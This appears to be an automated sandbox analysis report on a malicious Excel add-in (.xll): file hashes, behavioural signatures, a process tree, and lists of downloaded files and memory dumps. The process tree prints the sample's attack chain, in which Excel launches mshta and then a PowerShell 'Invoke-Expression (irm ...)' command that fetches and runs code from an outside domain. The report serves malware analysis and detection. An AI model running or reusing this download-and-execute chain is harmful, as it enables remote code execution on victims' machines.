Analysis
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max time kernel
149s -
max time network
156s -
platform
windows11-21h2_x64 -
resource
win11-20240508-en -
resource tags
arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system -
submitted
23-05-2024 01:20
Static task
static1
Behavioral task
behavioral1
Sample
a6052d953f77d1f9412b08434720420e41114419658b267bbb050a0f21a5cec4.xll
Resource
win10v2004-20240508-en
Behavioral task
behavioral2
Sample
a6052d953f77d1f9412b08434720420e41114419658b267bbb050a0f21a5cec4.xll
Resource
win11-20240508-en
General
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Target
a6052d953f77d1f9412b08434720420e41114419658b267bbb050a0f21a5cec4.xll
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Size
12KB
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MD5
ee6c79fd4247c2c265c16985c7459af4
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SHA1
7899162e9bccb0e16739814da2ad2ebca46a58b9
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SHA256
a6052d953f77d1f9412b08434720420e41114419658b267bbb050a0f21a5cec4
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SHA512
7d31f5e89e4a3bf9f51f7211f78d0ce07463a68bfc99276be4b99c17ed794726648c2012786fed9900ebc59bad042de8b31fe96645cf143cdaebef6ae84e9fb5
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SSDEEP
192:pL29RBzDzeobchBj8JONLON3qbruIrEPEjr7Ah83:J29jnbcvYJOEdq3uIvr7C0
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4020 1956 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 15 2908 powershell.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 1956 EXCEL.EXE 1956 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1956 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2908 powershell.exe 2908 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2908 powershell.exe -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 1956 EXCEL.EXE 1956 EXCEL.EXE 1956 EXCEL.EXE 1956 EXCEL.EXE 1956 EXCEL.EXE 1956 EXCEL.EXE 1956 EXCEL.EXE 1956 EXCEL.EXE 1956 EXCEL.EXE 1956 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 1956 wrote to memory of 4020 1956 EXCEL.EXE mshta.exe PID 1956 wrote to memory of 4020 1956 EXCEL.EXE mshta.exe PID 1956 wrote to memory of 4020 1956 EXCEL.EXE mshta.exe PID 4020 wrote to memory of 2908 4020 mshta.exe powershell.exe PID 4020 wrote to memory of 2908 4020 mshta.exe powershell.exe PID 4020 wrote to memory of 2908 4020 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a6052d953f77d1f9412b08434720420e41114419658b267bbb050a0f21a5cec4.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\3FR0UY0O\d[1].htmFilesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_thnbbgi2.dgh.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Local\Temp\a6052d953f77d1f9412b08434720420e41114419658b267bbb050a0f21a5cec4.xllFilesize
12KB
MD5ee6c79fd4247c2c265c16985c7459af4
SHA17899162e9bccb0e16739814da2ad2ebca46a58b9
SHA256a6052d953f77d1f9412b08434720420e41114419658b267bbb050a0f21a5cec4
SHA5127d31f5e89e4a3bf9f51f7211f78d0ce07463a68bfc99276be4b99c17ed794726648c2012786fed9900ebc59bad042de8b31fe96645cf143cdaebef6ae84e9fb5
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memory/1956-20-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmpFilesize
2.0MB
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memory/1956-85-0x00007FF8FBB50000-0x00007FF8FBB60000-memory.dmpFilesize
64KB
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memory/1956-6-0x00007FF8FBB50000-0x00007FF8FBB60000-memory.dmpFilesize
64KB
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memory/1956-2-0x00007FF8FBB50000-0x00007FF8FBB60000-memory.dmpFilesize
64KB
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memory/1956-9-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmpFilesize
2.0MB
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memory/1956-10-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmpFilesize
2.0MB
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memory/1956-8-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmpFilesize
2.0MB
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memory/1956-13-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmpFilesize
2.0MB
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memory/1956-5-0x00007FF8FBB50000-0x00007FF8FBB60000-memory.dmpFilesize
64KB
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memory/1956-12-0x00007FF8F9930000-0x00007FF8F9940000-memory.dmpFilesize
64KB
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memory/1956-11-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmpFilesize
2.0MB
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memory/1956-17-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmpFilesize
2.0MB
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memory/1956-16-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmpFilesize
2.0MB
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memory/1956-15-0x00007FF8F9930000-0x00007FF8F9940000-memory.dmpFilesize
64KB
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memory/1956-18-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmpFilesize
2.0MB
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memory/1956-19-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmpFilesize
2.0MB
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memory/1956-7-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmpFilesize
2.0MB
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memory/1956-1-0x00007FF93BB63000-0x00007FF93BB64000-memory.dmpFilesize
4KB
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memory/1956-14-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmpFilesize
2.0MB
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memory/1956-3-0x00007FF8FBB50000-0x00007FF8FBB60000-memory.dmpFilesize
64KB
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memory/1956-0-0x00007FF8FBB50000-0x00007FF8FBB60000-memory.dmpFilesize
64KB
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memory/1956-87-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmpFilesize
2.0MB
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memory/1956-4-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmpFilesize
2.0MB
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memory/1956-86-0x00007FF8FBB50000-0x00007FF8FBB60000-memory.dmpFilesize
64KB
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memory/1956-84-0x00007FF8FBB50000-0x00007FF8FBB60000-memory.dmpFilesize
64KB
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memory/1956-83-0x00007FF8FBB50000-0x00007FF8FBB60000-memory.dmpFilesize
64KB
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memory/1956-67-0x00007FF93BB63000-0x00007FF93BB64000-memory.dmpFilesize
4KB
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memory/1956-66-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmpFilesize
2.0MB
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memory/2908-57-0x0000000005FD0000-0x000000000601C000-memory.dmpFilesize
304KB
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memory/2908-58-0x00000000075E0000-0x0000000007C5A000-memory.dmpFilesize
6.5MB
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memory/2908-59-0x00000000064A0000-0x00000000064BA000-memory.dmpFilesize
104KB
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memory/2908-56-0x0000000005F90000-0x0000000005FAE000-memory.dmpFilesize
120KB
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memory/2908-55-0x0000000005AA0000-0x0000000005DF7000-memory.dmpFilesize
3.3MB
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memory/2908-42-0x0000000004AE0000-0x0000000004B16000-memory.dmpFilesize
216KB
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memory/2908-46-0x0000000005980000-0x00000000059E6000-memory.dmpFilesize
408KB
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memory/2908-45-0x0000000005910000-0x0000000005976000-memory.dmpFilesize
408KB
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memory/2908-44-0x0000000005100000-0x0000000005122000-memory.dmpFilesize
136KB
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memory/2908-43-0x0000000005270000-0x000000000589A000-memory.dmpFilesize
6.2MB